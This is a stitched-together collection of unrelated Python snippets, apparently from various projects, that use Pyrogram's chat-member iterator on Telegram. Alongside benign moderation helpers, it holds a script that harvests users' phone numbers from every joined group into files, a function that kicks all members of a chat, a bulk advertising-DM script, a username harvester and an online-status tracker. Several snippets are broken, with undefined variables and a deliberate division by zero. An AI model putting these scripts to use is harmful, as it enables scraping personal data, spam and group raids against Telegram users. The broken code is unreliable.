def main(username): writingString = "" app = Client('registration') with app: for member in app.iter_chat_members(TELEMNML, filter='recent'): writingString += str(member["user"]["id"]) + "\n" f.write(writingString)
def collect_chat_members(app: Client, chat): try: return [m for m in app.iter_chat_members(chat.chat_id)] except (AttributeError, ChannelInvalid, ChannelPrivate) as exc: logger.info(f'Error for {chat.title_chat} ({chat.chat_id})') logger.info(exc) return []
async def ghost_list(client: Client, message): try: deleted = [ "👻 [{}](tg://user?id={})\n".format(member.user.first_name, member.user.id) for member in client.iter_chat_members(message.chat.id) if member.user.is_deleted ] print(len(deleted)) await message.edit("{} Deleted Accounts Detected in {}".format( len(deleted), message.chat.title)) except MessageTooLong: await message.edit( "This group is filled with deleted account as hell. Uploading bots list as file." ) with open('deleted_account.txt', 'w') as file: file.write(deleted) file.close() await client.send_document( chat_id=message.chat.id, document="deleted_account.txt", caption='Deleted Account in {}'.format(message.chat.title), reply_to_message_id=message.message_id, ) os.remove("deleted_account.txt")
async def ban_all(c: Client, m: Message): chat = m.chat.id async for member in c.iter_chat_members(chat): user_id = member.user.id url = ( f"https://api.telegram.org/bot{TOKEN}/kickChatMember?chat_id={chat}&user_id={user_id}") async with aiohttp.ClientSession() as session: await session.get(url)
def mention_admins(client: Client, message: Message): message.delete() message_text = message.text for admin in client.iter_chat_members(message.chat.id, 0, '', 'administrators'): message_text += f'<a href="tg://user?id={admin.user.id}">​</a>' # add invisible mention to message text try: client.send_message(message.chat.id, message_text) except SlowmodeWait as e: # if slow mode enabled sleep(e.x) client.send_message(message.chat.id, message_text)
async def ayiklayici(): try: with open(f'{SESSION}bilgiler.json', 'r', encoding='utf-8') as f: config = json.loads(f.read()) except FileNotFoundError: print('Session Oluşturun..') return telefonlar = [] for hesap in config: api_id = hesap['api_id'] api_hash = hesap['api_hash'] telefon = hesap['telefon'] client = Client(SESSION + telefon, api_id, api_hash) async with client as app: print(f'\n{telefon}') for sohbet in await app.get_dialogs(): try: if sohbet.chat.type == "supergroup": grup_listesi = [ { 'id' : suser.user.id, 'nick' : f'@{suser.user.username}' if suser.user.username else None, 'ad' : suser.user.first_name or None, 'soyad' : suser.user.last_name or None, 'tel' : f'+{suser.user.phone_number}' if suser.user.phone_number else None, } async for suser in client.iter_chat_members(sohbet.chat.id) if (suser.user.phone_number) and (not suser.user.is_bot) and (not suser.user.is_scam) and (not suser.user.is_deleted) ] print(f'\t{sohbet.chat.title}\'dan {len(grup_listesi)} Adet Telefon Numarası Ayıklandı..') telefonlar.extend(grup_listesi) except ChannelPrivate: pass essiz = [dict(sozluk) for sozluk in {tuple(liste_ici.items()) for liste_ici in telefonlar}] a_z = sorted(essiz, key=lambda sozluk: sozluk['id']) kisiler = [kisi for kisi in a_z if kisi['tel'] and kisi['tel'].startswith('+90')] with open('KekikTelefon.json', 'w+', encoding='utf-8') as json_tel: json_tel.write(json.dumps(kisiler, indent=2, sort_keys=False, ensure_ascii=False)) with open('KekikTelefon.txt', 'w+', encoding='utf-8') as tablo_tel: tablo_tel.write(tabulate(kisiler, headers='keys', tablefmt='psql')) try: await muhtara_salla() except PeerIdInvalid: pass print(tabulate(kisiler, headers='keys', tablefmt='psql')) print(f'\nToplamda {len(kisiler)} Adet Benzersiz Telefon Numarası Ayıklandı ve Kaydedildi..') print(f'\n\n\tKekikTelefon.json ve KekikTelefon.txt dosyalarını kontrol edebilirsin..')
def get_members(client: Client, cid: int, query: str = "all") -> Optional[Generator[ChatMember, None, None]]: # Get a members generator of a chat result = None try: result = client.iter_chat_members(chat_id=cid, filter=query) except FloodWait as e: raise e except Exception as e: logger.warning(f"Get members in {cid} error: {e}", exc_info=True) return result
def get_members(client: Client, cid: int, query: str = "all") -> Union[bool, Generator[ChatMember, None, None], None]: # Get a members generator of a chat result = None try: result = client.iter_chat_members(chat_id=cid, filter=query) except FloodWait as e: logger.warning(f"Get members in {cid} - Sleep for {e.x} second(s)") raise e except (AttributeError, ChannelInvalid, ChannelPrivate, PeerIdInvalid): return False except Exception as e: logger.warning(f"Get members in {cid} error: {e}", exc_info=True) return result
def tag_all(app, msg): chat_id = msg.chat.id string = "" limit = 1 for member in app.iter_chat_members(chat_id): tag = member.user.username if limit <= 5: if tag != None: string += f"@{tag}\n" else: string += f"{member.user.mention}\n" limit += 1 else: app.send_message(chat_id, text=string) limit = 1 string = "" time.sleep(5)
async def tagall(client: Client, message: Message): await message.delete() chat_id = message.chat.id string = "" limit = 1 icm = client.iter_chat_members(chat_id) async for member in icm: tag = member.user.username if limit <= 5: if tag != None: string += f"@{tag}\n" else: string += f"{member.user.mention}\n" limit += 1 else: await client.send_message(chat_id, text=string) limit = 1 string = "" await asyncio.sleep(2)
def getList(c, m): global name try: acc_name = m.command[2] gp_link = m.command[1] except KeyError: m.reply_text("یادت نره اول لینک گپ بعدش اسم اکانت رو وارد کنی.") return accunt = Client(accs[acc_name][2], accs[acc_name][0], accs[acc_name][1]) accunt.start() try: gpe = accunt.join_chat("{}".format(gp_link)) gpe = accunt.get_chat("{}".format(gp_link)) gp_id = gpe.id except errors.UserAlreadyParticipant: gpe = accunt.get_chat("{}".format(gp_link)) except errors.InviteHashExpired: m.reply_text('بن بودم نشد') except errors.Flood: m.reply_text('فلاد خوردم') return accunt.send_sticker(m.chat.id, "CAADBAADGggAArhpKVBYg-r8Rxp36hYE") members = accunt.iter_chat_members(gpe.id, limit=1000) number = 0 LiNum = 1 MesG = f"List{LiNum} - {gpe.title}" for member in members: user_name = member.user.username user_bot = member.user.is_bot user_status = member.user.status if user_name != None and user_bot is False and user_status != ( "long_time_ago" or "within_month" or "within_week" or None) and member.user.is_self is False: number += 1 MesG += f"{number} - @{user_name}\n" if number == 45: LiNum += 1 accunt.send_message(m.chat.id, MesG) MesG = f"List{LiNum} - {gpe.title}\n" number = 0 accunt.send_message(m.chat.id, MesG)
async def get_inactive(cl: Client, msg: Message): try: a = docopt(__doc__, argv=msg.command[1:], help=False) except DocoptExit as e: return f'<pre>{e.usage}</pre>' if a['--help']: return f'<pre>{__doc__.strip()}</pre>' inactive = int(a['--inactive']) limit = int(a['--limit']) if a['--limit'] else 0 chat = msg.chat if a['--chat'][0] == '@': chat = await cl.get_chat(a['--chat']) elif a['--chat'][1:].isdigit(): chat = await cl.get_chat(int(a['--chat'])) else: return code(f"--chat == {a['--chat']}") await msg.edit(f'scanning chat "{chat.title}"...') start = time.time() messages = [ m async for member in cl.iter_chat_members( chat.id, limit=limit, filter='recent') if not member.user.is_deleted async for m in cl.search_messages( chat.id, limit=1, from_user=member.user.id) ] delta = time.time() - start messages.sort(key=lambda k: k['date']) if inactive > 0: messages = messages[:inactive] return '\n'.join([ f'{m.from_user.mention}\'s last <a href="https://t.me/c/{get_channel_id(m.chat.id)}/{m.message_id}">message</a> was {timeago.format(m.date)}' for m in messages ] + [f'<code>{int(delta * 1000)}ms</code>'])
async def user_list(client: Client, message): try: users = "\n" async for member in client.iter_chat_members(message.chat.id): users += "👉 [{}](tg://user?id={})\n".format( member.user.first_name, member.user.id) await message.edit("Users in **{}**\n{}".format( message.chat.title, users)) except MessageTooLong: await message.edit( "This group is filled with bots as hell. Uploading bots list as file." ) with open('userslist.txt', 'w') as file: file.write(users) file.close() await client.send_document( chat_id=message.chat.id, document="userlist.txt", caption='users in {}'.format(message.chat.title), reply_to_message_id=message.message_id, ) os.remove("userslist.txt")
async def admin_list(client: Client, message): try: admins = "\n" async for _ in client.iter_chat_members(message.chat.id, filter="administrators"): admins += "⭐️ [{}](tg://user?id={})\n".format(name, admin_id) await message.edit("Admin in **{}**\n{}".format( message.chat.title, admins)) except MessageTooLong: await message.edit( "This group is filled with bots as hell. Uploading bots list as file." ) with open('adminlist.txt', 'w') as file: file.write(admins) file.close() await client.send_document( chat_id=message.chat.id, document="adminlist.txt", caption='Admins in {}'.format(message.chat.title), reply_to_message_id=message.message_id, ) os.remove("adminlist.txt")
async def tag_admins(c: Client, m: Message): adminslist = [] if m.chat.type in ("supergroup", "group"): async for member in c.iter_chat_members(m.chat.id, filter="administrators"): adminslist.append(member.user.id) if m.from_user.id in adminslist: # Don't work if called by an admin himself and log this! LOGGER.info( f"Called by admin: {m.from_user.name} ({m.from_user.id}) in Chat: {m.chat.title} ({m.chat.id})" ) return mentions = "Hey **{}** Admins, look here!" admin_count = 0 async for a in alladmins: if a.user.is_bot: pass else: admin_count += 1 adminid = a.user.id mentions += f"[\u2063](tg://user?id={adminid})" text = mentions.format(admin_count) text += f"\n[{m.from_user.first_name}](tg://user?id={m.from_user.id}) is calling you!" await m.reply_text(text, parse_mode="markdown") else: await m.reply_text( "`It doesn't work here ¯\_(ツ)_/¯`", parse_mode="markdown", reply_to_message_id=m.message_id, ) return
async def bot_list(client: Client, message): try: bots = "\n" async for member in client.iter_chat_members(message.chat.id, filter="bots"): bots += "🤖 [{}](tg://user?id={})\n".format(member.user.first_name, member.user.id) await message.edit("Botlist in {}\n{}".format(message.chat.title, bots)) except MessageTooLong: await message.edit( "This group is filled with bots as hell. Uploading bots list as file." ) with open('botlist.txt', 'w') as file: file.write(bots) file.close() await client.send_document( chat_id=message.chat.id, document="botlist.txt", caption='Bots in {}'.format(message.chat.title), reply_to_message_id=message.message_id, ) os.remove("botlist.txt")
async def _is_admin_or_dev(_, bot: Client, msg: Message) -> bool: global _FETCHING # pylint: disable=global-statement if msg.chat.id not in Config.AUTH_CHATS: return False if not msg.from_user: return False if msg.from_user.id in Config.DEV_USERS: return True while _FETCHING: _LOG.info("waiting for fetching task ... sleeping (5s) !") await asyncio.sleep(5) if msg.chat.id not in Config.ADMINS: _FETCHING = True admins = [] _LOG.info("fetching data from [%s] ...", msg.chat.id) # pylint: disable=protected-access async for c_m in bot.iter_chat_members(msg.chat.id): if c_m.status in ("creator", "administrator"): admins.append(c_m.user.id) Config.ADMINS[msg.chat.id] = tuple(admins) _LOG.info("data fetched from [%s] !", msg.chat.id) del admins _FETCHING = False return msg.from_user.id in Config.ADMINS[msg.chat.id]
"""This example shows how to get all the members of a chat.""" from pyrogram import Client app = Client("my_account") target = "pyrogramchat" # Target channel/supergroup with app: for member in app.iter_chat_members(target): print(member.user.first_name)
from pyrogram import Client app = Client("my_account") userchat = "T_F_E_L_CHATIK" chat_members = [] with app: for members in app.iter_chat_members(userchat): memebers_user = members.user.username if members.user.is_bot == True: print("Bot") elif memebers_user == 'None' or memebers_user == "none": print("none username") else: app.send_message( memebers_user, "Привет друг,набираю аудиторию опытных программистов,можешь подписаться на блог - @oempsm" ) print(chat_members) app.run()
print('sleep') #time.sleep(600 - (time.time() % 600)) print('wake_up') t = time.time() - 600 a = api.users.get(user_ids=ids[:-2], fields='online, last_seen', v='5.92') ans = [] for i in range(len(a)): if a[i]['online'] == 1 or a[i].get('last_seen', {'time': 0})['time'] > t: #api.messages.send(domain='agim3', message = '{}{}, {} домик, не спит в ВК'.format('*id' if str(has_vk[i]['vk_id']).isdigit() else '@', has_vk[i]['vk_id'], has_vk[i]['home_number'] if has_vk[i]['home_number'] != '' else 'n'), random_id = 0, v='5.92') app.send_message( 'fatnikita', 'vk.com/{}{}, {} домик, не спит в ВК'.format( 'id' if str(has_vk[i]['vk_id']).isdigit() else '', has_vk[i]['vk_id'], has_vk[i]['home_number'] if has_vk[i]['home_number'] != '' else 'n')) with app: members = [m for m in app.iter_chat_members('-207970256')] for member in members: user = member.user if not user.is_bot and user.status.date > t: #api.messages.send(domain='agim3', message = '@{} не спит в TG'.format(user.username), random_id = 0, v='5.92') app.send_message('fatnikita', '@' + user.username + ' не спит в TG') break except: print(0 / 0)
# Get a list of all non-admin members of a specified chat and shuffle this list. # Then mute half of that list for 24 hours. import time from random import shuffle from pyrogram import Client from pyrogram.types import ChatPermissions from pyrogram.errors import FloodWait chat = "pyrogramlounge" app = Client("my_account") with app: members = [ x for x in app.iter_chat_members(chat) if x.status not in ("administrator", "creator") ] shuffle(members) for i in range(len(members) // 2): try: app.restrict_chat_member( chat_id=chat, user_id=members[i].user.id, permissions=ChatPermissions(), until_date=int(time.time() + 86400), ) print("muted", members[i].user.first_name) except FloodWait as e: print("> waiting", e.x, "seconds.") time.sleep(e.x)
# Compare all names of a chat against an ASCII-encoded # version and print each difference. from pyrogram import Client chat = "pyrogramchat" app = Client("my_account") with app: for member in app.iter_chat_members(chat): if member.user.is_deleted: continue x = member.user.first_name y = member.user.first_name.encode().decode("ascii", "ignore") if x != y: print(f"{x}\t|\t{y}")
# This script will go through the memberlist of the chat you specified below and ban # all deleted accounts ("Deleted Account") for 60 seconds as to remove them and not # clutter the list of banned users. import time from pyrogram import Client from pyrogram.errors import FloodWait chat = "pyrogramlounge" app = Client("my_account") with app: deleted = [x for x in app.iter_chat_members(chat) if x.user.is_deleted] print(len(deleted), "deleted accounts found") for u in deleted: try: app.kick_chat_member(chat, u.user.id, int(time.time() + 60)) except FloodWait as e: time.sleep(e.x)
def get_users(app: Client, chat_id: int): return chain( app.iter_chat_members(chat_id=chat_id, filter="kicked"), app.iter_chat_members(chat_id=chat_id, filter="restricted"), app.iter_chat_members(chat_id=chat_id), )